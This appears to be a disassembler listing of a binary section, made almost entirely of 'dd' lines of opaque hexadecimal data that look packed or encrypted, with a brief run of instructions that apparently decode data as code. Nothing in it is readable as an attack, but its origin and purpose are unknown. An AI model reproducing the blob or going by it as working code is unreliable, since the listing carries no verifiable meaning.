0B3B2233Ch dd 406849F7h, 9EE67DD4h, 0B720817Ch, 84D017DBh, 5B733920h dd 5BC098A4h, 69F4C789h, 0A92F94E4h, 396CA485h, 422160ADh dd 0B40B7717h, 0FB8CA282h, 185C78BEh, 504A67DDh, 7A268147h dd 9AF2C18h, 0DDF48110h, 690840AFh, 0C018CF00h, 56B2082Fh dd 976200D2h, 30D39CDh, 42F80983h, 15A07F5Ch, 84893Ah dd 996D6E66h, 555BDh, 0D75E8A0h, 1D35F5EAh, 0DC123A76h dd 1C00142Bh, 6D255C5h, 40171295h, 0AFACD043h, 3258E1A1h dd 10382DC8h, 7F77DCh, 0BD3F354Dh, 8874B1DCh, 1B7D5417h dd 0F2DDC40Fh, 69F1BCE1h, 0B8812428h, 2F671A6Ch, 0E335B0C2h dd 68BDC25Ch, 78E3823Ch, 0B548E079h, 0DE956C20h, 6B5044D1h dd 80B76E94h, 6036CBCh, 0C4E04A7Bh, 801C8C74h, 84A69500h dd 0DD010CC3h, 0B4855096h, 0AD7200CCh, 78D7A3F7h, 62B8DB53h dd 4C9060ACh, 0E0EF73Bh, 605ED481h, 6F04A4B3h, 0BC06737Ah dd 0E8E0A704h, 5C8293FCh, 0C95A0534h, 0C498EC9Bh, 6D02C255h dd 8BF79E1Ah, 0DCD4E248h, 0A66F654Ch, 25B621C8h, 64827C29h dd 0B46CD89Bh, 20F661F7h, 0A9C16AB4h, 0E16E1CF3h, 136174E0h dd 0CCC7429Fh, 0DC591958h, 1A10770Ch, 3D7E5B3Ch, 6EF9C306h dd 0E9EC591Eh, 0E64B8D81h, 1AAB48F0h, 0B970B2F8h, 38C2E003h dd 0EA6F3004h, 10B8CEDBh, 16DD3203h, 0E8968A08h, 442F382Ch dd 543C7CE2h, 0B3741338h, 451010E4h, 0BD75EA0Bh, 0DD276C1Ch dd 0E5807FDh, 207B7A57h, 0EEC975A8h, 668C0517h, 0E4D33A83h dd 8E551C70h, 0DD812C8h, 27006076h, 8DB637D3h, 905CBAADh dd 0AB30000h, 535784D5h, 4E4A9D29h, 0BDF55060h, 26C22D17h dd 502604E7h, 85002E11h, 8B72E23Bh, 690BEEFBh, 56016E1Ah dd 0E2D918BCh, 0DB253533h, 29700B2Eh, 1F4D184h, 81DC6B32h dd 0CFC09647h, 0F87B6488h, 0C8E96055h, 0C8D5B1D3h, 78D95301h dd 0FFF91C6Fh, 341A9420h, 0B371D82Ah, 828813C8h, 0F05920CEh dd 0C2FB7E00h, 7F38334Ch, 0D09C204Ah, 17FE0068h, 0EE71D04Dh dd 54F1A7Ah, 94D2C009h, 0DB670C58h, 0DA78ADA9h, 7D6D4309h dd 1F9C99B6h, 443AA825h, 906C71F4h, 281A74B0h, 0FCC00C60h dd 0B5329392h, 0F6B0B0A2h, 8ABEC890h, 0A7697A76h, 6DE88020h dd 76FF8541h, 6AB70FE1h, 7678D0h, 0F873F060h, 6EF83A7Bh dd 11EF6331h, 6A0702h, 21295790h, 0C428DDFAh, 537FBCB2h dd 694EE58h, 1F07BBAh, 0A9CC0978h, 0ACE026BEh, 47004388h dd 0D6BC828Bh, 0C06B7077h, 58E0D18h, 0E71602A4h, 4CB28172h dd 785850h, 0B223AFD3h, 0D42F4A44h, 6F5133Eh, 61127A7Bh dd 3501228h, 4A94CAFBh, 4B8D3C61h, 26007C79h, 34FA990h dd 5A50D127h, 0DA256508h, 0F690520Ah, 58638249h, 0AC05E8B2h dd 40C790B0h, 1FFC6889h, 82775001h, 0B285207h, 0F634D7F3h dd 6A634490h, 262500C5h, 78AF9162h, 67007A4Dh, 83F575FCh dd 7A973F22h, 944B737Dh, 1F38E824h, 1CC2A5CFh, 30255CF4h dd 0BED96F68h, 24CE0920h, 0E2FDD070h, 8924A466h, 806D5082h dd 66183423h, 71C979B1h, 44639400h, 59423CD6h, 0EA3B27CDh dd 9D20E4CCh, 0DFB21E43h, 39950A2Dh, 98484F94h, 0E8F18313h dd 815AE820h, 8582BD6h, 12376118h, 0C8887DDDh, 0A4907E38h dd 17E7EAC1h, 982442F9h, 127B0562h, 0E34AF0FCh, 1B9006Ch dd 8334D194h, 3BF671F8h, 705CE70Dh, 7209C10Ch, 60B9C490h dd 24E55980h, 4CCD5045h, 85095C35h, 7C70F909h, 4E4BB20h dd 0A38949B0h, 5C01AA25h, 0E115EA75h, 9AC12A6h, 702B1801h dd 141E8859h, 0DEBEF641h, 4862E003h, 4A47D060h, 2F266B08h dd 0A026F1F5h, 6E104969h, 73204F3Bh, 2A02EA29h, 0F8867A8Ch dd 0D8001837h, 5419B43Eh, 572EC10h, 0C67A4FE1h, 0AC5DFE79h dd 8DBCB000h, 386E6A2Fh, 0D15F2189h, 7858DD3Ch, 0FC40E50h dd 0B2F3A006h, 50847E72h, 0C1D817h, 0C4C81887h, 254EFB8Ch dd 0B8D18B4Eh, 6038D9E1h, 398094Eh, 831C2CA0h, 96301A30h dd 0DDD91094h, 7A4BAEh, 53E97CECh, 0E42C2F1Fh, 0B20BAABAh dd 0CC4440h, 0E939B368h, 79DDD274h, 0C4A40B50h, 806142Eh dd 0F3034209h, 22120864h, 8ECFD600h, 0B7EC2EAAh, 99C28822h dd 0D50C60C8h, 1DCC6200h, 3A321ED4h, 0C86D0B44h, 0C10FEC2Ch dd 5C260620h, 0E200678Ch, 0EEF7438Bh, 0F421F08h, 0E692C7D8h dd 0BEC95700h, 9907C877h, 4161C1CFh, 9BDC00CFh, 6002D833h dd 60C628A8h, 55167512h, 7AACDA9h, 112B6F68h, 806C482Ah dd 6118E710h, 0FA1B7199h, 0F3AA00C4h, 0EF3639F0h, 0C70CCA07h dd 507A1857h, 0A550690h, 108A7DD8h, 7C02882Dh, 0C369F60h dd 3018BC19h, 700A7D00h, 0F5CA6533h, 456D069Ch, 20B6FED8h dd 86A95A0Ch, 6139136h, 12EAC22Bh, 0EE00C80Bh, 720A5D92h dd 304E45CBh, 0D7183495h, 20C0BDBBh, 0AD3C9262h, 0A4F3A58h dd 871EF08Ch, 0AC73C1B0h, 2C0537ECh, 6694CD6Fh, 0D9420280h dd 1EBB003Fh, 6928E367h, 0B174D8C9h, 950850C0h, 6088F70Ah dd 7AF10885h, 0ADF02693h, 8D2010C0h, 78613481h, 0B813602Ah dd 45C4B567h, 303AE102h, 80DD6817h, 0E5976108h, 0C2B7863h dd 65D4D844h, 9F685B68h, 8A007438h, 3B75EB07h, 84715065h dd 1CA50098h, 3EEDAE37h, 203805BFh, 0C7028327h, 63BAF0F6h dd 0B1A7E838h, 807752C1h, 3D2F46F8h, 2E79A2Bh, 22745FB5h dd 0C48E3813h, 0CF6543A0h, 78C011C9h, 0EB058A47h, 45CA306Fh dd 1302C851h, 0AE7C6301h, 0C4D1F08Bh, 90C506F0h, 0A4887508h dd 0DC6728F4h, 6D8E0660h, 602B7A0Ah, 0D086D620h, 0CA0A2CB8h dd 80A447A7h, 30858EF3h, 8D6F081Eh, 0C299E10h, 54D9209h dd 2003CB1Ch, 791A02Ah, 9CFA778h, 8AF43002h, 776AEB2Dh dd 8083CD8h, 0C161002Fh, 1AFD2CC7h, 0B00677Ch, 137AB0C9h dd 0F0B36965h, 0F5D1202Ah, 226D0880h, 34D84380h, 30487127h dd 0AA0C4690h, 0B1425E05h, 800F270h, 60131B40h, 8F57302Ah dd 6F493940h, 9C170E24h, 8812FA80h, 0BC0A75h, 46F7BA28h dd 68080E3Ch, 61411860h, 19D46F96h, 383DF2F0h, 9F8421CCh dd 0D00D3E81h, 3C471931h, 81FEBE82h, 0F3759C8Ch, 0A0D6E420h dd 37241D4h, 78692513h, 8A890116h, 0EA56E01Dh, 70F14D38h dd 0DE60A6EAh, 0ED82AE0Ah, 2B016005h, 0ADBB2515h, 16B96114h dd 148C3192h, 1340C582h dd 0DE1A6FEAh, 41C7C00Ah, 590F146Eh, 75075770h, 905F0525h dd 0FE8CAE3Eh, 9D0CD318h, 776B60EAh, 5052BC54h, 0C24C0E00h dd 0C48204E4h, 0CF4D1DA4h, 2BF4876Eh, 0C02DE753h, 0AC1117ECh dd 0CC00757Ch, 34335B9h, 0C1FDD7EAh, 1392BC4Ch, 6FE088BFh dd 0E38A0EF9h, 0D71ED9E6h, 0C35082EEh, 0BE005660h, 5E844206h dd 78C2DEF8h, 0F68200E6h, 49BF4A40h, 2DD828EAh, 0A37F598h dd 358C58A7h, 0BA025185h, 60F903D3h, 6BB2E5Bh, 8569062Ah dd 0D8602744h, 0A6C682ADh, 0F9D7006Ah, 2D8CEB2Ah, 3731EA25h dd 84532A3Ch, 738AC743h, 0B1E7516Ah, 0C3693700h, 6A53C655h dd 5D3A0A8Ch, 460DB167h, 0FF8ADF0Eh, 0E1B06E1h, 88CAE984h dd 94EA06C2h, 8C65169Fh, 16325110h, 0B8E8054h, 1A6EC65Ah dd 188FC8EAh, 9C7E12BBh, 2507DC2Ah, 136045F0h, 0BA526010h dd 0D91B0158h, 1FCA827Ah, 0EA39E03Eh, 24034A30h, 74AE3667h dd 0C68A3434h, 0C0AC7742h, 90EAEC02h, 59104360h, 1FC4CE81h dd 0A05EEC1h, 0A8464A3Eh, 52060027h, 4BBF44E4h, 32F02855h dd 585CDF00h, 0EA389DC0h, 0D22A5059h, 0A3F17F02h, 2442860Ah dd 5313535Fh, 802C2EF9h, 0E8875A0Ah, 1855F751h, 10590225h dd 83EDF081h, 0F9296B06h, 4ECC85Ch, 0EAC40C01h, 69CB1533h dd 0B428AA3Ch, 0B110133Dh, 2022432h, 0E28A5240h, 0EC25182h dd 0A8880608h, 0AB50FEF1h, 99F8B188h, 1C1C8256h, 9FD58951h dd 9B1BAE2h, 21575AD9h, 1EC90023h, 2401C26Fh, 2621F282h dd 0CF404FB9h, 306D32D2h, 8C9A536Bh, 0B2A0B646h, 0BB802479h dd 0D64029Eh, 5BD42A69h, 0DCF8D848h, 0B601CE90h, 22184BEAh dd 0A9D85CDEh, 5036C02Eh, 78A1B951h, 2A7F890Ah, 8A58F3C8h dd 0CBC8A0FAh, 95172AEAh, 32F67789h, 320E6F1Dh, 9F343E61h dd 24E65D06h, 1DC4742h, 362AD869h, 498D015Dh, 85EA7642h dd 0FE5312E3h, 3BD0C60h, 54995679h, 0EA8F5E11h, 0A126ECE9h dd 12FD32E6h, 8D24158h, 0D925E02h, 0C5028DBAh, 1E415453h dd 77A389E1h, 561A2Bh, 0C961FBB2h, 0A082EC4Eh, 1247E1FEh dd 105F7ED9h, 0E4807F7h, 0F979228Dh, 676A3C8h, 8F3D880Ah dd 88CD8909h, 54E7B205h, 0E9EAE4C0h, 5890D0FBh, 10CDF6DBh dd 1C540A81h, 840D30EAh, 0C1B81010h, 59246390h, 0F72AD81Fh dd 50DB8636h, 38C303B4h, 2662148h, 5EB85DFh, 44885C08h dd 4C0DD3DEh, 91BF3B69h, 762888B5h, 82EBD200h, 266840E3h dd 15E92AA7h, 0FB1AE34Fh, 0D7294F60h, 829F807h, 31963214h dd 8A5D0634h, 2690896h, 5E084997h, 6B374640h, 19FB8348h dd 525429FEh, 0A818E1D8h, 1EB4CAA9h, 0CC5B450Eh, 0F81687B2h dd 0CC88D21Dh, 7700D412h, 55D1401Bh, 5CE02902h, 0EA9B6CC3h dd 0D4526524h, 180F8FA0h, 89723A45h, 53302232h, 130266BBh dd 0A845BD7h, 13BF88F4h, 3925045Dh, 62820629h, 2ECE07A3h dd 0A0385C17h, 7CD8ACEEh, 6086F860h, 346A8C75h, 14ECF002h dd 5924BC08h, 96F4AD25h, 32A83419h, 5A5406BBh, 0AC102467h dd 0DA9742B0h, 404F5F02h, 83F8DF67h, 1B488AEBh, 36D0EACh dd 7D2AA013h, 2C600925h, 828857EAh, 25CDB8Ah, 0A2601962h dd 10678AAh, 9AC9EA2Bh, 695F15D0h, 2B549473h, 0F0FEC082h dd 0EA80D939h, 0AE79402Ah, 0F8371D42h, 37E7E364h, 1E83B3Ch dd 534C6958h, 0F62074B3h, 71AB0ED0h, 0F0C3154Ah, 72876781h dd 5CEB1EEAh, 8F46ACFh, 600043Bh, 4783B7DBh, 0AFC44C2Ah dd 58272D10h, 3F9E427Fh, 29A70C81h, 9A4584E4h, 0D169F451h dd 797F64B0h, 5A83A1F7h, 0D3FEABD8h, 25E5640Ch, 0A9611F4h dd 67496E53h, 6AC65128h, 42CD4DD1h, 670431E8h, 9A69A9D1h dd 0E87F41F3h, 9126FDE0h, 62EA85F0h, 6264975Ch, 465D9AAh dd 64BF5AB2h, 0A08E8290h, 66802E54h, 36413A8Ch, 11D9AB05h dd 56D98802h, 6489499h, 60D18844h, 9175E73Eh, 179F59F9h dd 5E150A5Dh, 0EBE68EC6h, 8C0BDD7Fh, 9A0635F6h, 264CEA2Ch dd 51C468A4h, 5D533D84h, 93C3E94Ch, 2F54AEAh, 50E16971h dd 0D989CA98h, 0F75D8B3Ah, 0EB34EA10h, 29656A60h, 0DCB25AE9h dd 598069EEh, 0C053C490h, 8C8DCC91h, 420822E7h, 0B60BD3A2h dd 12B70053h, 80321163h, 0E32620EDh, 0D2C2757h, 914CE912h dd 40DE601Dh, 0D6F26067h, 0C3D0BAB8h, 325713D7h, 99B25543h dd 0C2FFF9D1h, 0F8DC5F20h, 485A71CBh, 5877B229h, 8910C0D9h dd 0C6321C56h, 0D6F8E984h, 0DA162AA5h, 6E07D9C9h, 48B03263h dd 43080656h, 0F0C0333h, 45AA7023h, 7747429Eh, 884C1A22h dd 68D7EA15h, 1EBE6F97h, 124EB37Dh, 0E183CF55h, 690E0966h dd 46644049h, 0E6483098h, 0E556DA6Bh, 90052247h, 0A3553DAh dd 0A250695Ch, 6314A4C8h, 0D13156F2h, 73F45D50h, 1D40A4AAh dd 18248BDh, 4980E1CDh, 0FCA1330h, 47A73066h, 557D2498h dd 0F4EAC5Ch, 49D48A5Ah, 56AF418Bh, 9D534688h, 0FB5D6716h dd 3922A2Eh, 921DC894h, 0C03B44EEh, 69570254h, 13306F4Ah dd 0BEF79CC0h, 6D533904h, 2D90F48Ah, 0A16EA1EAh, 0E7509456h dd 1339C1B9h, 1C0207C6h, 10D8D3E9h, 52000B6Dh, 1B9D6953h dd 0B9982EA1h, 3006F305h, 0E5013923h, 43B51220h, 74DE0C87h dd 0F1EA21D6h, 0BB162534h, 409973B0h, 2FAF70Bh, 0C0CDB709h dd 263114FEh, 40C84FEAh, 0DCF84CFCh, 5A058CB1h, 40814E22h dd 6CC9EADBh, 7A59FB51h, 842E4533h, 0A890A135h, 98BA2022h dd 0C9BF1002h, 0C05A5552h, 0C13E762h, 0D9F82FD4h, 4530EA04h dd 52E34F1Dh, 83690051h, 59193A7Ch, 201FEE2Eh, 0C2D2AF7Ah dd 181E408h, 0FB7BE6BEh, 569A600Ch, 9410D24h, 0A9F42309h dd 4070B84h, 9804E56h, 6089711Bh, 5DD40C0Dh, 22E146Ah dd 0C15AADC9h, 0D81664EDh, 45922ABAh, 564D5858h, 0C84314Eh dd 2E388CEAh, 6609274Ch, 0E708CC29h, 0EDC186F4h, 43B0603h dd 0E0DA2E81h, 0FB89E81Ch, 4A1455Ch, 822CB151h, 0BB044647h dd 308AE2C8h, 36F45BD1h, 354CCC67h, 7DEA09C0h, 0BA29A394h dd 39DF5Dh, 25ACF61h, 2A5F1AF6h, 0E0F36CEh, 18EB579Eh dd 0C38A63B5h, 0BBF5907h, 32259880h, 0F3025FC0h, 2061B35Fh dd 57B28053h, 0EE681851h, 33E90E4Ah, 500A3A63h, 0F7B6B89Ch dd 3402C1FFh, 0CC048B24h, 7063CA68h, 0DF148924h, 0C281E231h dd 561A68FAh, 557230E9h, 3E0C10Ch, 0FC6F1AF0h, 85546B46h dd 170FC5A1h, 6E24E650h, 6BCE6051h, 4C48359h, 8BF0211Bh dd 0E9110C12h, 0AC4AEB3Ch db 5, 30h, 0D8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp and al, 28h adc ch, cl push es add [edi-76A3DBD4h], eax sbb al, 0D0h jmp near ptr 90C3E6FBh ; --------------------------------------------------------------------------- dd 78283076h, 6850590Ch, 0A633026Fh, 5E9C701h, 81E38953h dd 83280CC3h, 4ED2870Ch, 3D1B29D6h, 0FF1F3C89h, 16A67774h dd 52011843h, 5D6ABE56h, 0E3F20BA0h, 401801C4h, 0F704E8C1h dd 578BECD8h, 44BE16CAh, 0BFB12E21h, 0FA83DB16h, 28AFEB80h dd 5CC3579Fh, 9CAE1510h, 0B450660Fh, 4FD8DD7Eh, 7C282E06h dd 18FCDCE3h, 3C8B4AD5h, 0E90674A5h, 880A4782h, 5C895685h dd 114403E6h, 44FB6763h, 1A4E6359h, 2B91600h, 4912072Ch dd 15F10781h, 604B171Ch, 0C35F5EC9h, 0CBF755Ch, 3284DEE9h dd 5163C366h, 4BE1E189h, 0B7530068h, 9648F085h, 82953D23h dd 0EA41872Bh, 5057FB00h, 29AC01B8h, 64E97D7Ah, 81410419h dd 81685355h, 663760EFh, 367DC3B8h, 43ADE3E5h, 4BD4E999h dd 0FE012403h, 0DD37685Fh, 5582EA37h, 1877461Dh, 1010B9E9h dd 151A33BFh, 0A7143B4Dh, 0C6625C4Bh, 0F1AF9BD3h, 1087E5FDh dd 2F83E8D1h, 1E482DC0h, 4A90E2B4h, 685B5D54h, 3F7C232Ah dd 666DBF00h, 0E7816CB6h, 144B1891h, 728F0C5Ch, 12AE4448h dd 1A471828h, 8D72C2EBh, 0D68D801Eh, 2449A94Ch, 36CC329h dd 0DE57E9FBh, 0E5C08C0Eh, 69037306h, 0F20FF580h, 81E9A044h dd 30208AC7h, 936A667Dh, 2A60943Eh, 0FFC5F118h, 0EA6CC1F7h dd 0A8048C50h, 8831F5Ah, 12D8F853h, 692D19B0h, 0DDED02F6h dd 5142F707h, 95066056h, 13DE935Fh, 37A31A68h, 0E957D801h dd 0F7D15004h, 0E639C1D6h, 6EE8902h, 2652004Eh, 1C6395B5h dd 0C95EF729h, 50805FFAh, 0AE67207Bh, 8302EEECh, 131475Bh dd 0C0B760D6h, 0C2F3F6Ah, 143F21Fh, 71E93D68h, 8F688E8Bh dd 0D2DAE602h, 5CA9FDAEh, 7814BC09h, 0C6DEDA2Ch, 0C08157C7h dd 0ED746402h, 99148B58h, 7C63E8Ah, 0C15CF59h, 27EC3113h dd 8140DC93h, 689B48FBh, 999F672h, 233CBB82h, 0EBB04090h dd 10DC438h, 5B6D92DDh, 0BB531F90h, 0C5802F99h, 2B4D1097h dd 0C67676E9h, 3FFB816h, 58C50100h, 492CF581h, 0E92E3442h dd 0E40996ECh, 53C7D580h, 0D03CE291h, 91A949E8h, 89F64183h dd 13B9F00Ch, 221E1877h, 4585BF57h, 90272F4Bh, 637E3F11h dd 7000A65h, 6191E95Fh, 88524CF5h, 5AF3C8C6h, 91A8ECF6h dd 561648B8h, 31032984h, 0F9D0F706h, 92BD21C5h, 15EF58Eh dd 277B5678h, 2460B82Ch, 8F408AA1h, 9014EB4Ah, 55F22D61h dd 6EE343E0h, 19E67112h, 0AF1E3809h, 59E8A4BDh, 831687CBh dd 340C08EEh, 12B1F930h, 13B67D52h, 4AF1B4E9h, 6F411409h dd 0B53D67C6h, 5EDCF254h, 0F34981F6h, 1A381236h, 0FA5D7F33h dd 0EE34C455h, 2BEFE78Fh, 0A44D5839h, 0DC51DAh, 2442A6B8h dd 186B4A22h, 4C72B7Fh, 0E906108Ah, 8717402Ah, 0DD1BEF72h dd 5008D3F7h, 1DC69E10h, 9862CA29h, 0C15A8EFFh, 602E232h dd 35A94008h, 0D7DC1CA4h, 11E98431h, 811399F1h, 71D4BEBCh dd 683014E8h, 819B4Eh, 394919F7h, 63CE7C1h, 3F9E1D81h dd 0DC0C6E59h, 266A96FCh, 0E23DFB31h, 550727A4h, 0E4759E62h dd 78C52037h, 3FD1525Ch, 6806BB7Eh, 153CDD73h, 1412E0Ah dd 6B76856h, 0CE412687h, 0FB530FAFh, 96810C1h, 3CF86C16h dd 51C02C68h, 0FB5DC2DDh, 78885C05h, 1AAB2C68h, 7EE96368h dd 30FF5719h, 32A4D0BCh, 0C7FEC110h, 5914F852h, 295B2AC2h dd 397968D6h, 59287E79h, 570A5654h, 0C2E4E789h, 5241EF83h dd 9376163Ch, 191490CAh, 0E61390E4h, 0B31345DCh, 0C8B6ACBBh dd 74A249E1h, 101F099h, 10905BDAh, 0CA8101F7h, 3FB91229h dd 0AAB6A720h, 10AC00C6h, 0B628ED6Dh, 40402403h, 53E9CE29h dd 80038D92h, 0D18898F2h, 0D16205Ah, 67FABB04h, 7FC07115h dd 4C3F0C74h, 7734421Ah, 9CAD9C20h, 5C008949h, 58C104D9h dd 38A7215Dh, 0FEF68100h, 0E9192D65h, 0E98B7935h, 9587D683h dd 77459E52h, 0DD8D181Eh, 9B8056E1h, 0FC3305Ch, 5EC5C0B6h dd 0C8805187h, 1D02B9Eh, 0D27B92Ah, 21014413h, 0D8B5CB19h dd 4F246886h, 54654062h, 559B25C8h, 0A1243931h, 2E4B189Ch dd 430E0F6Fh, 5666DA01h, 7B1FD2BEh, 6B0AA630h, 0A5B03825h dd 82D781h, 77FE06A0h, 0DE89090Fh, 4691095Bh, 9D657E9h dd 81823A92h, 0A0646EECh, 0DA733A00h, 5BD8010Bh, 6E800C1h dd 0B5A51C05h, 0F17CE9FFh, 59422196h, 0A1185B52h, 1871206h dd 0D8295C43h, 44F76005h, 18680212h, 93E9B243h, 310A0F82h dd 0D70559CEh, 0E018CD02h, 0C3AA6BA7h, 10BFAC4h, 8063F73Eh dd 6DA2BE31h, 5C497FD7h, 0C8120FF1h, 0BCC38159h, 91BA0779h dd 46933042h, 40969026h, 5790586Fh, 0CF015A80h, 1AC28AC4h dd 5A13BB1Fh, 1201364Eh, 0B7FA6E2Ah, 0B439F2FEh, 4A0FFFC0h dd 46615930h, 2A20D1A5h, 4C96F821h, 1DC8655Fh, 98E5331Dh dd 932F2268h, 398F0A41h, 222ACBD6h, 5E0097Ah, 4FA5E998h dd 0E6EABBCEh, 7D0E2855h, 1F4D2840h, 375D4C0Dh, 81484078h dd 7FD34AF3h, 5E679224h, 0B0505B80h, 24E8D03Ah, 1F82022Ch dd 0B5510058h, 0E9EB08A0h, 0A2D73225h, 93878C1Ah, 7647F956h dd 0D5053540h, 31FC1649h, 0E99B45D0h, 0BFA14010h, 63A39CAh dd 7DF8F1B8h, 0C118E062h, 0C238C1EAh, 608A55C4h, 24394A6Fh dd 294D4277h, 0A621020h, 2D01680Ah, 6D158888h, 52D0F60Eh dd 8B3D0604h, 0C0DD8905h, 6539EBA4h, 2974241Dh, 0BE0C23ACh dd 318076E1h, 4A06A1C3h, 0F67D3008h, 0FED2C8E7h, 0F9E9CA0Ah dd 87A09150h, 1D5925AAh, 5F63F24Ah, 0A297120Dh, 0ED1940CDh dd 5DC13418h, 0C1D50126h, 0E92A0820h, 8AEAD0CAh, 80FE31CEh dd 0F605EDC0h, 961CF8DDh, 75680540h, 7C4C9837h, 0A60C314Ch dd 12820BECh, 8A8175D6h, 41B114DAh, 8BDF84F6h, 7D36648h dd 50A69C94h, 0F7928075h, 5EB71DD5h, 24EF930Bh, 9A42C0E6h dd 5B5C4562h, 82133817h, 7AE917A3h, 0C1F8A507h, 0A6228726h dd 87D981ACh, 25C6C93h, 4FA32107h, 82869FB2h, 0E30A69FCh dd 0EEDC73EAh, 6650C709h, 6BFF39FCh, 124B0AACh, 0F4A65A35h dd 0F1F65DE1h, 0CCD93066h, 0DBFB68E8h, 1907D6C5h, 6265C848h dd 66CCD7F2h, 6B52F068h, 64100EFDh, 462C7AE6h, 2303CC6Bh dd 5C47086h, 0FD55C5D6h, 2D88C07Dh, 64097C0Dh, 42DAF7h dd 0D8702553h, 0D329098Eh, 0D0204FE9h, 1C725268h, 20610D5Ch dd 26B3017Dh, 0FE5BDC88h, 367BF0CCh, 4B69E2AAh, 0A3F387Ah dd 0C3EE814Eh, 767C147h, 0CA652BF2h, 89B31A9Fh, 29683071h dd 0AC8BB3CDh, 0EFE98C27h, 68035253h, 1AF60AB3h, 0B7D2315Ah dd 0E4D6890Fh, 0B794F701h, 54E5E958h, 2EEFA58h, 0F60D5A1Bh dd 414CF289h, 444C8283h, 34AA5D45h, 3AF6F6E9h, 59D6809h dd 9A71A21Ah, 229CBB40h, 1943E0B7h, 0F3136FE9h, 0F56093D5h dd 0D2E6600Dh, 0A5217BA1h, 9A485F09h, 906912Dh, 67E927A3h dd 0BF573927h, 700E7300h, 7C3CF81h, 0E908BE06h, 7E98A58h dd 0B80CCBC9h, 0DFF16051h, 85A0F86Ch, 28817F78h, 0CBCC5AEDh dd 32C3EC59h, 8205052h, 9268DDA1h, 556A525Eh, 813FCAC1h dd 7118AB95h, 0B8FA8B4Eh, 0DC083B7h, 5D5CE902h, 0B460D6F7h dd 60985A5Bh, 98050D27h, 934E463Ch, 96B12999h, 0CA06840Eh dd 2E8158DCh, 24CF5D6Ah, 80042025h, 764F82EEh, 1964FFCAh dd 1D9AD373h, 1E6F3528h, 70FA0C41h, 91F901Fh, 2C5A2B55h dd 0A54F7005h, 14B10D4h, 57D358C2h, 940E6109h, 0C2093E64h dd 0D41E2F96h, 0A1870944h dd 0E24F62A9h, 4B18E904h, 4C7E4ECAh, 218B190Ch, 58E42722h dd 80448F05h, 0FF007E2Eh, 669D1C77h, 7698594Ch, 83CAB888h dd 2C1A4764h, 5883AB48h, 0C9FE8852h, 3775339Ah, 49697BACh dd 0F40FE7BAh, 310D4D77h, 630DDA06h, 6144E130h, 15F5AEDh dd 343CE1E8h, 0E5A66811h, 0EEE36426h, 0F743CBB7h, 0E889E2D1h dd 591F686Ah, 2A841E54h, 53311638h, 28043A80h, 633168D3h dd 8025690Bh, 8EECF435h, 0AC54810Fh, 4CE7AA75h, 5A59669Fh dd 0E12F0719h, 4081496Ch, 11686A8Bh, 712AC98h, 2AA1602Ah dd 0FACAEB43h, 1203440Ch, 647AC268h, 587A5FE8h, 5BD91B3Bh dd 90E314F0h, 5D2E6C7Dh, 545684A0h, 2AA5E65Eh, 0C485D7E5h dd 0C0BE8714h, 3112E8C1h, 0BC41E5C8h, 3302F201h, 6E65B43h dd 195C0DC9h, 1D78CB83h, 0C8015E0Dh, 0C4033D16h, 5630479Ah dd 0DB01BD55h, 0E9312F71h, 1EA08105h, 0B5DEE86h, 5102C183h dd 5C64B492h, 74915059h, 834D2998h, 10F05784h, 12887B7h dd 0D1AE8391h, 2AA5FE38h, 0BA001E94h, 48B108C4h, 6D072Dh dd 0D0291CB7h, 711FE957h, 60BD2AC0h, 1A3D360Fh, 705DEA09h dd 0D1795264h, 37BE5600h, 31257552h, 425E69F2h, 2D009FE6h dd 3B17F54h, 2B68D801h, 20F03822h, 1405050Fh, 102A4079h dd 2320ACA4h, 80048325h, 7D685564h, 396A175Ch, 5F125Dh dd 0F61EAEE8h, 0FD352119h, 0C080165Fh, 0D917F98h, 3DEAE91Dh dd 4DB9D7F7h, 61A624CBh, 956C094Eh, 0FD87ECEDh, 0E6540F22h dd 6BBB0553h, 77C2331h, 3534A2E4h, 1D9A0461h, 0C7C01318h dd 905DE821h, 680A402Ah, 0D937BF26h, 0D2122C69h, 4CDFA817h dd 7ABE803Ch, 576600Ch, 1765E251h, 51BAF08h, 154CCD9h dd 0E9F989D4h, 5C3E248Ah, 0AAA5EFA5h, 0BC283AF6h, 6E176077h dd 6300420Dh, 3BCA814Ah, 44D13D79h, 0BC27E77h, 8976B161h dd 8768E801h, 98656807h, 2C8EEh, 6BE40ABh, 2988DE28h, 42BBEE48h dd 0E6C10DF7h, 0AB300607h, 0FA434512h, 0BB9ECB6Eh, 0C807E984h dd 55CF5091h, 0B021DC20h, 4D950029h, 0FB31144Fh, 855970E9h dd 8160600Ch, 7D784F6h, 0F101B663h, 6B6C26E9h, 2698AE80h dd 0E0B4AB75h, 29DEC252h, 44AF660Fh, 686E66E0h, 4E8989E4h dd 0C5E916FEh, 5E834E7Bh, 0DE20F0E9h, 167E8ABDh, 0A34E747Ah dd 0B5517800h, 369B0EFh, 8059E830h, 3E8740C3h, 5860EBACh dd 0AB9AD1B8h, 0C794858h, 3FF2D08h, 0F030705h, 0E5017C93h dd 515FA058h, 8996E971h, 0B6909428h, 1A241E1Ch, 0CA025E6Eh dd 0F57E035Fh, 0AB1E5B43h, 530C32FFh, 3DBE58C7h, 6C1322B6h dd 89C0081h, 1EC152D9h, 10742937h, 0C2544C5h, 0EF5BEA12h dd 2112A51Bh, 0B201772Ch, 839220ACh, 9FB8939h, 0C05F5BD8h dd 9C094BDBh, 90A2C524h, 7ECC0F2h, 0BD678073h, 0F4606906h dd 12E388F0h, 4B7309E9h, 8C4BC7CDh, 25E81ADAh, 58973D68h dd 315E3410h, 0A3F0755Ah, 4A45135h, 1D3BF317h, 16A97C31h dd 922ED2A0h, 0A46B1A2Ch, 0C8AC3DDCh, 1D844158h, 0A9001613h dd 553355Dh, 8F361D65h, 0CA9FC073h, 0C729D2D6h, 0F831581Ah dd 962EDB66h, 0BAFD407Ch, 82402783h, 94A3990h, 6516ED9Eh dd 40E44744h, 0A50B2734h, 45DAB0A4h, 56C4D4Ch, 841CE15Fh dd 729E3297h, 0B4F0C829h, 46B5967Bh, 0DDF0631h, 0F30B70E6h dd 871068F2h, 16A82413h, 630B02A8h, 22600EFEh, 0F5012824h dd 0E9D7892Ch, 762C825Bh, 1698C893h, 810C5144h, 26DC7659h dd 0E42E7B53h, 0B09C21A8h, 91CECB2h, 39D90100h, 379A74BBh dd 0C3417891h, 0F7C4351Bh, 0C07998D2h, 7553FF54h, 0FA263109h dd 0E989745Fh, 6479514Ah, 8565060Ch, 6EF011Dh, 174385Ch dd 42C7E1D7h, 29405A08h, 11303996h, 21B30C5Fh, 0E9DF0C7Ch dd 80404C13h, 527FC501h, 0BFD6851h, 0B3000873h, 